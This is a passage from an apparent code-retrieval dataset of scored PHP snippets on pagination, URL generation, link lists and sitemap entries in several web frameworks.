$this->first_url;\n\n\t\t$query_string = '';\n\t\t$query_string_sep = (strpos($base_url, '?') === FALSE) ? '?' : '&amp;';\n\n\t\t// Are we using query strings?\n\t\tif ($this->page_query_string === TRUE)\n\t\t{\n\t\t\t// If a custom first_url hasn't been specified, we'll create one from\n\t\t\t// the base_url, but without the page item.\n\t\t\tif ($first_url === '')\n\t\t\t{\n\t\t\t\t$first_url = $base_url;\n\n\t\t\t\t// If we saved any GET items earlier, make sure they're appended.\n\t\t\t\tif ( ! empty($get))\n\t\t\t\t{\n\t\t\t\t\t$first_url .= $query_string_sep.http_build_query($get);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add the page segment to the end of the query string, where the\n\t\t\t// page number will be appended.\n\t\t\t$base_url .= $query_string_sep.http_build_query(array_merge($get, array($this->query_string_segment => '')));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Standard segment mode.\n\t\t\t// Generate our saved query string to append later after the page number.\n\t\t\tif ( ! empty($get))\n\t\t\t{\n\t\t\t\t$query_string = $query_string_sep.http_build_query($get);\n\t\t\t\t$this->suffix .= $query_string;\n\t\t\t}\n\n\t\t\t// Does the base_url have the query string in it?\n\t\t\t// If we're supposed to save it, remove it so we can append it later.\n\t\t\tif ($this->reuse_query_string === TRUE && ($base_query_pos = strpos($base_url, '?')) !== FALSE)\n\t\t\t{\n\t\t\t\t$base_url = substr($base_url, 0, $base_query_pos);\n\t\t\t}\n\n\t\t\tif ($first_url === '')\n\t\t\t{\n\t\t\t\t$first_url = $base_url.$query_string;\n\t\t\t}\n\n\t\t\t$base_url = rtrim($base_url, '/').'/';\n\t\t}\n\n\t\t// Determine the current page number.\n\t\t$base_page = ($this->use_page_numbers) ? 1 : 0;\n\n\t\t// Are we using query strings?\n\t\tif ($this->page_query_string === TRUE)\n\t\t{\n\t\t\t$this->cur_page = $this->CI->input->get($this->query_string_segment);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Default to the last segment number if one hasn't been defined.\n\t\t\tif ($this->uri_segment === 0)\n\t\t\t{\n\t\t\t\t$this->uri_segment = count($this->CI->uri->segment_array());\n\t\t\t}\n\n\t\t\t$this->cur_page = $this->CI->uri->segment($this->uri_segment);\n\n\t\t\t// Remove any specified prefix/suffix from the segment.\n\t\t\tif ($this->prefix !== '' OR $this->suffix !== '')\n\t\t\t{\n\t\t\t\t$this->cur_page = str_replace(array($this->prefix, $this->suffix), '', $this->cur_page);\n\t\t\t}\n\t\t}\n\n\t\t// If something isn't quite right, back to the default base page.\n\t\tif ( ! ctype_digit($this->cur_page) OR ($this->use_page_numbers && (int) $this->cur_page === 0))\n\t\t{\n\t\t\t$this->cur_page = $base_page;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Make sure we're using integers for comparisons later.\n\t\t\t$this->cur_page = (int) $this->cur_page;\n\t\t}\n\n\t\t// Is the page number beyond the result range?\n\t\t// If so, we show the last page.\n\t\tif ($this->use_page_numbers)\n\t\t{\n\t\t\tif ($this->cur_page > $num_pages)\n\t\t\t{\n\t\t\t\t$this->cur_page = $num_pages;\n\t\t\t}\n\t\t}\n\t\telseif ($this->cur_page > $this->total_rows)\n\t\t{\n\t\t\t$this->cur_page = ($num_pages - 1) * $this->per_page;\n\t\t}\n\n\t\t$uri_page_number = $this->cur_page;\n\n\t\t// If we're using offset instead of page numbers, convert it\n\t\t// to a page number, so we can generate the surrounding number links.\n\t\tif ( ! $this->use_page_numbers)\n\t\t{\n\t\t\t$this->cur_page = (int) floor(($this->cur_page/$this->per_page) + 1);\n\t\t}\n\n\t\t// Calculate the start and end numbers. These determine\n\t\t// which number to start and end the digit links with.\n\t\t$start\t= (($this->cur_page - $this->num_links) > 0) ? $this->cur_page - ($this->num_links - 1) : 1;\n\t\t$end\t= (($this->cur_page + $this->num_links) < $num_pages) ? $this->cur_page + $this->num_links : $num_pages;\n\t\t$data['currentPage'] = $this->cur_page;\n\t\t// And here we go...\n\t\t$output = '';\n\n\t\t// Render the \"First\" link.\n\t\tif ($this->first_link !== FALSE && $this->cur_page > ($this->num_links + 1 + ! $this->num_links))\n\t\t{\n\t\t\t$data['firstPageUrl'] = $first_url.'/1';\n\t\t\t$data['firstLink'] = TRUE;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$data['firstLink'] = FALSE;\n\t\t}\n\n\t\t// Render the \"Previous\" link.\n\t\tif ($this->prev_link !== FALSE && $this->cur_page !== 1)\n\t\t{\n\t\t\t$i = ($this->use_page_numbers) ? $uri_page_number - 1 : $uri_page_number - $this->per_page;\n\t\t\t$data['onFirstPage'] = FALSE;\n\t\t\t$attributes = sprintf('%s %s=\"%d\"', $this->_attributes, $this->data_page_attr, ($this->cur_page - 1));\n\n\t\t\tif ($i === $base_page)\n\t\t\t{\n\t\t\t\t// First page\n\t\t\t\t$data['previousPageUrl'] = $first_url.'/1';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$append = $this->prefix.$i.$this->suffix;\n\t\t\t\t$data['previousPageUrl'] = $base_url.$append;\n\t\t\t}\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$data['onFirstPage'] = TRUE;\n\t\t}\n\n\t\t// Render the pages\n\t\tif ($this->display_pages !== FALSE)\n\t\t{\n\t\t\t// Write the digit links\n\t\t\tfor ($loop = $start - 1; $loop <= $end; $loop++)\n\t\t\t{\n\t\t\t\t$i = ($this->use_page_numbers) ? $loop : ($loop * $this->per_page) - $this->per_page;\n\n\t\t\t\tif ($i >= $base_page)\n\t\t\t\t{\n\t\t\t\t\t$elements[$j] = array(\n\t\t\t\t\t\t'page' => $i,\n\t\t\t\t\t\t'url' => $base_url.$this->prefix.$i.$this->suffix\n\t\t\t\t\t\t);\n\t\t\t\t\t$j++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Render the \"next\" link\n\t\tif ($this->next_link !== FALSE && $this->cur_page < $num_pages)\n\t\t{\n\t\t\t$i = ($this->use_page_numbers) ? $this->cur_page + 1 : $this->cur_page * $this->per_page;\n\n\t\t\t$data['nextPageUrl'] = $base_url.$this->prefix.$i.$this->suffix;\n\t\t\t$data['hasMorePage'] = TRUE;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$data['hasMorePage'] = FALSE;\n\t\t}\n\n\t\t// Render the \"Last\" link\n\t\tif ($this->last_link !== FALSE && ($this->cur_page + $this->num_links + ! $this->num_links) < $num_pages)\n\t\t{\n\t\t\t$i = ($this->use_page_numbers) ? $num_pages : ($num_pages * $this->per_page) - $this->per_page;\n\n\t\t\t$data['lastPageUrl'] = $base_url.$this->prefix.$i.$this->suffix;\n\t\t\t$data['lastLink'] = TRUE;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$data['lastLink'] = FALSE;\n\t\t}\n\t\t\n\t\treturn array(\n\t\t\t'paginator' => $data,\n\t\t\t'elements' => $elements\n\t\t\t);\n\t}", "title": "" }, { "docid": "25a272aad29373b3aa2744b28ec1a2d1", "score": "0.5379441", "text": "public function getUrls(): ?array;", "title": "" }, { "docid": "f09640fabbc86c68d0508e92f6dfef61", "score": "0.5378267", "text": "public function urlsToCache() {\n\t\tif($this->owner->URLSegment == 'home'){\n\t\t\t$urls[Director::BaseURL().'search'] = 0;\n\t\t}\n\t\t$urls[$this->owner->Link()] = 0;\n\n\t\treturn $urls;\n\t}", "title": "" }, { "docid": "58b8bec63a01a407a2c44573baba7bce", "score": "0.5377035", "text": "public function createUrl($params) {\n $url_lang = Yii::$app->language;\n \n // If isset lang param\n if (isset($params['x-language-url'])) {\n // Do not change url\n if ($params['x-language-url'] === false) {\n unset($params['x-language-url']);\n return parent::createUrl($params);\n }\n // If exists language\n $xLang = LangHelper::getLanguageByParam('url', $params['x-language-url']);\n if ($xLang) {\n $url_lang = $xLang['url'];\n }\n }\n \n $current = LangHelper::getLanguageByParam('locale', $url_lang);\n $isDefault = isset($current['default']) && $current['default'];\n \n // Delete if is pretty url\n if ($this->enablePrettyUrl || $isDefault) {\n unset($params['x-language-url']);\n }\n\n $url = parent::createUrl($params);\n if ($current) {\n // Is curent language \n \n // Pretty url\n if ($this->enablePrettyUrl && !$this->showScriptName) {\n $pattern = \"/^\" . preg_quote($this->baseUrl, '/') . \"/\";\n $replaceTo = $this->baseUrl;\n if (!$isDefault) {\n $replaceTo .= '/' . $url_lang;\n }\n $url = preg_replace($pattern, $replaceTo, $url );\n } else if ($this->enablePrettyUrl && $this->showScriptName) {\n // Pretty url with showScriptName \n $pattern = \"/^\" . preg_quote($this->scriptUrl, '/') . \"/\";\n $replaceTo = $this->baseUrl;\n if (!$isDefault) {\n $replaceTo .= '/' . $url_lang;\n }\n $url = preg_replace($pattern, $replaceTo, $url );\n }\n }\n return $url;\n }", "title": "" }, { "docid": "d79702589e749f25aa09e3b4a2124ef6", "score": "0.53724986", "text": "function indie_push( $feeds ) {\n\t$feeds[] = site_url( '/' );\n\t$feeds[] = site_url();\n\n\treturn array_unique( $feeds );\n}", "title": "" }, { "docid": "9009e1d8a08f738d000032aa037bf0d0", "score": "0.5372282", "text": "function link_list() {\n if (empty($this->return_data) || $this->return_data == \"0\") {\n return \"\";\n }\n\n // decide how to do the URLs\n $title_permalink = ee()->TMPL->fetch_param('title_permalink', null);\n $order_by = ee()->TMPL->fetch_param('order_by', null);\n\n $ids = explode(\"|\", $this->return_data);\n\n $entries = ee()->db->select('*')\n ->from('channel_titles')\n ->where_in('entry_id', $ids);\n\n if (!is_null($order_by)) {\n $order_by = explode(\" \", $order_by);\n $sort = (count($order_by==2)? $order_by[1]: \"asc\");\n $entries = $entries->order_by($order_by[0], $sort);\n }\n $entries = $entries->get();\n\n if ($entries->num_rows() == 0) {\n return \"\"; \n }\n\n // from http://stackoverflow.com/questions/8245405/expressionengine-how-to-get-the-path-of-a-page-given-its-entry-id-with-the-str\n // lookup the URL from the crazy EE page hash\n $site_id = ee()->config->item('site_id'); // Get site id (MSM safety)\n $site_pages = ee()->config->item('site_pages'); // Get pages array\n\n $output = '<ul class=\"relate-entries-list\">' . \"\\n\";\n foreach ($entries->result() as $e) {\n if (!is_null($title_permalink)) {\n $page_url = ee()->functions->create_url($title_permalink . '/' . $e->url_title);\n }\n elseif (isset($site_pages[$site_id]['uris'][$e->entry_id])) {\n // I think this is for Pages\n $page_url = $site_pages[$site_id]['uris'][$e->entry_id];\n }\n else {\n // hmm\n $page_url = $e->url_title;\n }\n $output .= '<li><a href=\"'. $page_url . '\">' . $e->title . \"</a></li>\\n\";\n }\n $output .= \"</ul>\\n\";\n\n return $output;\n }", "title": "" }, { "docid": "ff9b0e1bb3a3a4fa931a233d7492faef", "score": "0.5371946", "text": "function get_forum_links($show = '')\n{\n global $cat;\n\n if ($cat != 'main' && isset($GLOBALS[\"objSrcUser\"]))\n {\n $objSrcUser = &$GLOBALS[\"objSrcUser\"];\n $arrPrefs = $objSrcUser->get_preferences();\n }\n else\n {\n $arrPrefs = array (\n NEW_N => 0, NEW_S => 0, NEW_O => 0, NEW_L => 0, NEW_A => 0, NEW_W => 0,\n NEW_G => 0, NEW_DR => 0);\n }\n\n // M: Base values in array (Starting with Announcements)\n $arrArrLinks[0][] = 'news'; // 0 = value used in URL\n $arrArrLinks[0][] = 'Announcements'; // 1 = name of link\n $arrArrLinks[0][] = $arrPrefs[NEW_N]; // 2 = BOOLEAN: highlight on / off\n\n include_once('inc/functions/forums.php');\n if (has_read_access(select_forum('staff101')))\n $arrArrLinks[] = array('staff101', 'Staff Forum', $arrPrefs[NEW_S]);\n\n if (has_read_access(select_forum('alliance')))\n $arrArrLinks[] = array('alliance', 'Alliance Forum', $arrPrefs[NEW_A]);\n\n if (has_read_access(select_forum('dev')))\n $arrArrLinks[] = array('dev', 'Dev', $arrPrefs[NEW_D]);\n\n if (has_read_access(select_forum('lno')))\n $arrArrLinks[] = array('lno', 'LnO', $arrPrefs[NEW_L]);\n\n if (has_read_access(select_forum('ops')))\n $arrArrLinks[] = array('ops', 'Ops', $arrPrefs[NEW_O]);\n\n // M: All-access forums\n $arrArrLinks[] = array('world', 'World Forum', $arrPrefs[NEW_W]);\n $arrArrLinks[] = array('game', 'Game Talk', $arrPrefs[NEW_G]);\n\n if (has_read_access(select_forum('dragon')))\n $arrArrLinks[] = array('dragon', 'The Dragon Lair', $arrPrefs[NEW_DR]);\n\n $str = '';\n for ($key = 0; $key < count($arrArrLinks); $key++)\n {\n $page = $arrArrLinks[$key][0];\n $title = $arrArrLinks[$key][1];\n $bool = $arrArrLinks[$key][2];\n\n $strClass = '';\n if ($show != $page)\n {\n $strClass = '';\n if ($bool == 1)\n $strClass = ' class=\"check_new\"';\n\n $str .= '<a href=\"main.php?cat=' . $cat . '&amp;page=forums&amp;set=' .\n $page . '&amp;mode=threads\"' . $strClass . '>' . $title . '</a>';\n }\n else\n {\n $str .= '<strong>' . $title . '</strong>';\n }\n $str .= ' | ';\n }\n return '<div class=\"center\">' . substr($str, 0, -2) . '</div>';\n}", "title": "" }, { "docid": "2e589445b7b2f04695768849469474d2", "score": "0.53679854", "text": "public function urlProvider(): array\n {\n return [\n ['https://localhost', 'https', 'localhost', null, null, null],\n ['https://localhost:8000', 'https', 'localhost', 8000, null, null],\n ['http://localhost', 'http', 'localhost', null, null, null],\n ['http://localhost:8000', 'http', 'localhost', 8000, null, null],\n ['http://testuser@127.0.0.1:8000/', 'http', '127.0.0.1', 8000, 'testuser', null],\n ['http://testuser:testpass@localhost:8000', 'http', 'localhost', 8000, 'testuser', 'testpass'],\n ];\n }", "title": "" }, { "docid": "e5f96e27e662c9ac29763ec6cbe2ba76", "score": "0.536398", "text": "protected function _initUrls() {\n\t\tparent::_initUrls();\n\n\t\t$this->_lukeUrl = $this->_constructUrl(\n\t\t\tself::LUKE_SERVLET,\n\t\t\tarray(\n\t\t\t\t'numTerms' => '0',\n\t\t\t\t'wt' => self::SOLR_WRITER\n\t\t\t)\n\t\t);\n\n\t\t$this->_pluginsUrl = $this->_constructUrl(\n\t\t\tself::PLUGINS_SERVLET,\n\t\t\tarray('wt' => self::SOLR_WRITER)\n\t\t);\n\n\t\t$this->_schemaUrl = $this->_constructUrl(self::SCHEMA_SERVLET);\n\n\t\t$managedLanguage = $this->getManagedLanguage();\n\t\t$this->_synonymsUrl = $this->_constructUrl(\n\t\t\t\tself::SYNONYMS_SERVLET\n\t\t\t) . $managedLanguage;\n\t}", "title": "" }, { "docid": "91d2db56de4907d9086804f5d58db75d", "score": "0.5360193", "text": "private function getPageURLs()\n\t{\n\t\t$this->EE =& get_instance();\n\t\tglobal $DB;\t\n\t\t/* Get an array where pages URLs are elements and their ids are the keys */\n\t\t$getPages = \"SELECT site_pages FROM exp_sites WHERE site_id = {$this->siteID};\";\n\t\t$query = $this->EE->db->query($getPages);\n\t\t$pages = unserialize(base64_decode($query->row('site_pages')));\n\t\t\n\t\t//Changed in EE1.6.8 to 1.6.9\n\t\t//Check for new array location, if it's not there then try the old one\n\t\tif(is_array(@$pages[1]['uris']))\n\t\t\treturn $pages[1]['uris'];\n\t\telse\n\t\t\treturn $pages['uris'];\n\t}", "title": "" }, { "docid": "9c40ee3d443774e88f7781476803a845", "score": "0.53597647", "text": "protected function getAlternativeUrls()\n {\n $urls = array(\n $this->getConfig()->getFacebookUrl(),\n $this->getConfig()->getTwitterUrl(),\n $this->getConfig()->getGooglePlusUrl(),\n $this->getConfig()->getInstagramUrl(),\n $this->getConfig()->getPinterestUrl(),\n $this->getConfig()->getYouTubeUrl(),\n $this->getConfig()->getLinkedInUrl(),\n $this->getConfig()->getMyspaceUrl()\n );\n\n foreach ($this->getConfig()->getOtherSocialUrls() as $url) {\n $urls[] = $url[\"url\"];\n }\n\n $urls = array_values(array_filter($urls));\n\n return $urls;\n }", "title": "" }, { "docid": "0b561c9152040b4782ffe924aef72cc3", "score": "0.53550774", "text": "function initiate_news ($url,$indexpage = \"\") \n{\n $this->indexpage = $indexpage; \n $find = array (\" \",\"&\"); \n $replace = array (\"+\",\"&\"); \n $url = str_replace($find,$replace,$url); \n $this->url = $url; \n $this->converturl($this->url,$this->segments); \n}", "title": "" }, { "docid": "c94799e879b6c0314560a97e46edb114", "score": "0.53450483", "text": "public function convert_array_url( $array ) {\n\t\t\t\n\t\t\tforeach ( $array as $key => $value ) {\n\t\t\t\n\t\t\t\tif ( is_array( $value ) ) {\n\t\t\t\t\t$array[$key] = $this->convert_array_url( $value );\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\n\t\t\t\t\tif ( is_object( $value ) == 1 )\n\t\t\t\t\t\t$value = $this->object_to_array( $value );\n\t\t\t\t\t\n\t\t\t\t\tif ( $array[$key] !== true )\n\t\t\t\t\t\t$array[$key] = $this->string_replace_url( $value );\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\treturn $array;\n\t\t\t\n\t\t}", "title": "" }, { "docid": "9a2f9d6d5ae276f7404bfbd2709755c5", "score": "0.53412634", "text": "public function urls(): UrlGeneratorInterface;", "title": "" }, { "docid": "9c91756066df688abeb491bd35cca81e", "score": "0.53407276", "text": "public function getLinks();", "title": "" }, { "docid": "9c91756066df688abeb491bd35cca81e", "score": "0.53407276", "text": "public function getLinks();", "title": "" }, { "docid": "39b458b62c6aac7961d5461262d13f97", "score": "0.5337329", "text": "public function links()\r\n {\r\n $wikilinks = [];\r\n preg_match_all(\"#\\[\\[(.*)\\]\\]#U\",\r\n $this->content,\r\n $wikilinks,\r\n PREG_SET_ORDER\r\n );\r\n\r\n $links = [];\r\n foreach ($wikilinks as $wikilink) {\r\n if (isset($wikilink[1])) {\r\n $links[str_slug($wikilink[1])] = $wikilink[1];\r\n }\r\n }\r\n\r\n return $links;\r\n }", "title": "" }, { "docid": "12e0f1edd57d1bfb92b57b3d61d67bb5", "score": "0.5332425", "text": "function ciniki_links_web_list($ciniki, $tnid, $args) {\n\n if( !isset($args['tag_type']) \n || ($args['tag_type'] != '40' && $args['tag_type'] != '10')\n ) {\n return array('stat'=>'404', 'err'=>array('code'=>'ciniki.links.7', 'msg'=>'Category does not exist'));\n }\n \n if( isset($ciniki['tenant']['modules']['ciniki.links']['flags']) && ($ciniki['tenant']['modules']['ciniki.links']['flags']&0x01) > 0 ) {\n $strsql = \"SELECT ciniki_links.id, \"\n . \"ciniki_links.name, \"\n . \"ciniki_links.url, \"\n . \"ciniki_links.description, \"\n . \"IFNULL(ciniki_link_tags.tag_name, 'Other') AS sname \"\n . \"FROM ciniki_link_tags \"\n . \"LEFT JOIN ciniki_links ON (\"\n . \"ciniki_link_tags.link_id = ciniki_links.id \"\n . \"AND ciniki_links.tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n . \") \"\n . \"WHERE ciniki_link_tags.tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n . \"AND ciniki_link_tags.tag_type = '\" . ciniki_core_dbQuote($ciniki, $args['tag_type']) . \"' \"\n . \"\";\n if( $args['tag_permalink'] != '' ) {\n $strsql .= \"AND ciniki_link_tags.permalink = '\" . ciniki_core_dbQuote($ciniki, $args['tag_permalink']) . \"' \";\n }\n $strsql .= \"ORDER BY ciniki_link_tags.tag_name, name ASC \";\n } else {\n $strsql = \"SELECT ciniki_links.id, \"\n . \"ciniki_links.name, \"\n . \"ciniki_links.url, \"\n . \"ciniki_links.description, \"\n . \"'' AS sname \"\n . \"FROM ciniki_links \"\n . \"WHERE ciniki_links.tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n . \"ORDER BY name ASC \";\n }\n\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbHashQueryIDTree');\n $rc = ciniki_core_dbHashQueryIDTree($ciniki, $strsql, 'ciniki.links', array(\n array('container'=>'categories', 'fname'=>'sname', 'fields'=>array('name'=>'sname')),\n array('container'=>'list', 'fname'=>'id', 'name'=>'link', 'fields'=>array('id', 'name', 'title'=>'name', 'url', 'description')),\n ));\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n $rsp = $rc;\n\n //\n // If categories are enabled, check for any uncategorized links\n //\n if( isset($ciniki['tenant']['modules']['ciniki.links']['flags']) && ($ciniki['tenant']['modules']['ciniki.links']['flags']&0x01) > 0 ) {\n $strsql = \"SELECT ciniki_links.id, \"\n . \"ciniki_links.name, \"\n . \"ciniki_links.url, \"\n . \"ciniki_links.description, \"\n . \"ciniki_link_tags.tag_name AS sname \"\n . \"FROM ciniki_links \"\n . \"LEFT JOIN ciniki_link_tags ON (\"\n . \"ciniki_links.id = ciniki_link_tags.link_id \"\n . \"AND ciniki_link_tags.tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n . \") \"\n . \"WHERE ciniki_links.tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n . \"HAVING ISNULL(ciniki_link_tags.tag_name) \"\n . \"ORDER BY ciniki_links.name \"\n . \"\";\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbHashQueryIDTree');\n $rc = ciniki_core_dbHashQueryIDTree($ciniki, $strsql, 'ciniki.links', array(\n array('container'=>'links', 'fname'=>'id', 'name'=>'link', 'fields'=>array('id', 'name', 'url', 'description')),\n ));\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n if( isset($rc['links']) ) {\n $rsp['sections']['Other'] = array('name'=>'Other', 'links'=>$rc['links']);\n }\n }\n\n return $rsp;\n}", "title": "" }, { "docid": "1075955170c0783093ab7f84a5872e08", "score": "0.533118", "text": "function makeLinks($linkArray)\n{\n $myReturn = '';\n\n foreach($linkArray as $url => $text)\n {\n if($url == THIS_PAGE)\n {//current page - add class reference\n\t \t$myReturn .= '<li class=\"current\"><a href=\"' . $url . '\">' . $text . '</a></li>' . PHP_EOL;\n \t}else{\n\t \t$myReturn .= '<li><a href=\"' . $url . '\">' . $text . '</a></li>' . PHP_EOL;\n \t} \n }\n \n return $myReturn; \n}", "title": "" }, { "docid": "15ae99f53d25a340f4c60bb6fcc63f6c", "score": "0.53267807", "text": "public function addUrls($urls);", "title": "" }, { "docid": "a4bdf0e0449cd1d73adbdbc4c5e04bdc", "score": "0.5324973", "text": "public function parent_links () {\n\t\t$links = array ();\n\n\t\t$vlink = $this->link_base . '/' . $this->version ();\n\n\t\t$link = $this->link ();\n\t\t$link = preg_replace ('/\\/[^\\/]+$/', '', $link);\n\n\t\twhile (! empty ($link) && $link != $vlink) {\n\t\t\t$id = preg_replace ('/^' . preg_quote ($this->link_base, '/') . '\\//', '', $link);\n\t\t\t$doc = new Doc ($id);\n\t\t\t$links[$link] = $doc->title ();\n\n\t\t\t$link = preg_replace ('/\\/[^\\/]+$/', '', $link);\n\t\t}\n\n\t\t$links = array_reverse ($links, true);\n\n\t\treturn $links;\n\t}", "title": "" }, { "docid": "c9ff3040d5ca8857542cee3366c887c9", "score": "0.5316851", "text": "function l_url($url)\n{\n return site_url(lang('urls.'.$url));\n}", "title": "" }, { "docid": "a4df47603e6c8e8b1fe8ac22c640a896", "score": "0.5316717", "text": "public function links() {\n // match twitter links for embedding\n $tweet_url = 'https?://(www\\.)?twitter\\.com/([A-Za-z0-9-_]+?)/status/[0-9]+';\n $this->str = preg_replace(\n '#\\[url\\]('.$tweet_url.')\\[/url\\]#Uis',\n '<a class=\"tweet\" href=\"$1\">$3 (Twitter)</a>',\n $this->str);\n $this->str = preg_replace(\n '#\\[url=('.$tweet_url.')\\]('.$tweet_url.')\\[/url\\]#Uis',\n '<a class=\"tweet\" href=\"$1\">$3 (Twitter)</a>',\n $this->str);\n\n\n $this->str = preg_replace('#\\[url\\](.*)\\[/url\\]#Uis', '<a href=\"$1\">$1</a>', $this->str);\n $urlPos = 0;\n $anz = substr_count($this->str, '[url=');\n $anzUrl = 0;\n while($anz > $anzUrl) {\n $posA = strpos($this->str, '[url=', $urlPos);\n $posE = strpos($this->str, '[/url]', $urlPos);\n $strUrl = substr($this->str, $posA, $posE - $posA + 6);\n $strUrlOld = $strUrl;\n $strUrl = preg_replace('#\\[url=(.*?(\\[.*?\\]).*?)\\](.*?)\\[/url\\]#Uis', '<a href=\"$1\">$3</a>', $strUrl);\n $strUrl = preg_replace('#\\[url=(.*)\\](.*?)\\[/url\\]#Uis', '<a href=\"$1\">$2</a>', $strUrl);\n $this->str = str_replace($strUrlOld, $strUrl, $this->str);\n $codePos = $posE + 5;\n $anzUrl++;\n }\n }", "title": "" }, { "docid": "876e561fe38781fb9b132c8a2aa0a677", "score": "0.53141063", "text": "public function obtUrlCompleta(){\n $actual_url = (isset($_SERVER['HTTPS']) ? \"https\" : \"http\") . \"://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]\";\n $arrUrl = explode(\"?\", $actual_url);\n return $arrUrl;\n }", "title": "" }, { "docid": "e0d1edaa4673f3430b8fc97799aff333", "score": "0.5310473", "text": "public function hookGSitemapAppendUrls($params)\n {\n // Blog posts\n $idLang = (int) $params['lang']['id_lang'];\n $idShop = (int) Context::getContext()->shop->id;\n\n $results = BeesBlogPost::getAllPosts();\n\n $links = [];\n if (!empty($results)) {\n foreach ($results as $result) {\n $link = [];\n $link['link'] = BeesBlog::getBeesBlogLink('beesblog_post', ['blog_rewrite' => $result['link_rewrite']]);\n $link['lastmod'] = $result['modified'];\n $link['type'] = 'module';\n\n if (file_exists(_PS_MODULE_DIR_.'beesblog/images/'.(int) $result[BeesBlogPost::PRIMARY].'.jpg')) {\n $link['image'] = ['link' => Tools::getHttpHost(true).'/modules/beesblog/images/'.(int) $result[BeesBlogPost::PRIMARY].'.jpg'];\n } elseif (file_exists(_PS_MODULE_DIR_.'beesblog/images/'.(int) $result[BeesBlogPost::PRIMARY].'.png')) {\n $link['image'] = ['link' => Tools::getHttpHost(true).'/modules/beesblog/images/'.(int) $result[BeesBlogPost::PRIMARY].'.png'];\n }\n\n $links[] = $link;\n }\n }\n\n // Categories\n $results = BeesBlogCategory::getAllCategories();\n\n if (!empty($results)) {\n foreach ($results as $result) {\n $link = [];\n $link['link'] = BeesBlog::getBeesBlogLink('beesblog_category', ['cat_rewrite' => $result['link_rewrite']]);\n $link['lastmod'] = $result['modified'];\n $link['type'] = 'module';\n\n if (file_exists(_PS_MODULE_DIR_.'beesblog/images/category/'.(int) $result[BeesBlogCategory::PRIMARY].'.jpg')) {\n $link['image'] = ['link' => Tools::getHttpHost(true).'/modules/beesblog/images/category/'.(int) $result[BeesBlogCategory::PRIMARY].'.jpg'];\n } elseif (file_exists(_PS_MODULE_DIR_.'beesblog/images/category/'.(int) $result[BeesBlogCategory::PRIMARY].'.png')) {\n $link['image'] = ['link' => Tools::getHttpHost(true).'/modules/beesblog/images/category/'.(int) $result[BeesBlogCategory::PRIMARY].'.png'];\n }\n\n $links[] = $link;\n }\n }\n\n return $links;\n }", "title": "" }, { "docid": "21ff4709ce015c5b807af67f0aeb277f", "score": "0.5306632", "text": "function cmotheme_links__locale_block(&$variables) {\n global $language;\n // an array of list items\n $items = array();\n foreach($variables['links'] as $lang => $info) {\n $name = $info['language']->native;\n $href = isset($info['href']) ? $info['href'] : '';\n $li_classes = array('list-item-class');\n // if the global language is that of this item's language, add the active class\n if($lang === $language->language){\n $li_classes[] = 'active';\n }\n $link_classes = array();\n $options = array('attributes' => array('class' => $link_classes),\n 'language' => $info['language'],\n 'html' => true\n );\n //$link = l($name, $href, $options);\n $link = l($info['title'], $href, $options);\n // display only translated links\n if ($href) $items[] = array('data' => $link, 'class' => $li_classes);\n }\n // output\n $attributes = array('class' => array(''));\n $output = theme_item_list(array('items' => $items,\n 'title' => '',\n 'type' => 'ul',\n 'attributes' => $attributes\n \t\t\t ));\n // Dropdown for mobile!!!\n $output .= \"<select>\";\n //kpr($variables['links']);\n foreach($variables['links'] as $lang => $info) {\n $output .= '<option value=\"' . url($info['href'], array('language' => $info['language'])) . '\"';\n ($lang == $language->language) ? $sel = 'selected=\"selected\"' : $sel='';\n $output .= ' ' . $sel . '>';\n $output .= $info['language']->native . '</option>';\n //kpr($info['language']->native);\n }\n $output .= \"</select>\";\n $output .= '<script>$(\"nav select\").change(function() { window.location = $(this).find(\"option:selected\").val(); });</script>';\n return $output;\n}", "title": "" }, { "docid": "0db634314d9085fb17b718cd1c1c6a9e", "score": "0.5306597", "text": "public function getLinksProvider() {\n return [\n [[\n 'text' => 'notorious <a href=\"http://www.theweek.co.uk/foo\" target=\"_self\">encounter</a> in ',\n 'links' => ['http://www.theweek.co.uk/foo'],\n ]\n ],\n [[\n 'text' => '<a href=\"/bar\" target=\"_self\">b</a>',\n 'links' => ['/bar'],\n ]\n ],\n [[\n 'text' => '<a href=\"/foo\">foo</a> & <a href=\"/bar\">bar</a>',\n 'links' => ['/foo', '/bar'],\n ]\n ],\n\n ];\n }", "title": "" } ]
e57120a8a863b5c36040262693e80814
Test saving a single team
[ { "docid": "c5b763fb17c3dd57e3ad37a2ebe99698", "score": "0.6466762", "text": "public function test_save() {\n $this->assertNull($this->object->id);\n $this->assertSave($this->object->save());\n }", "title": "" } ]
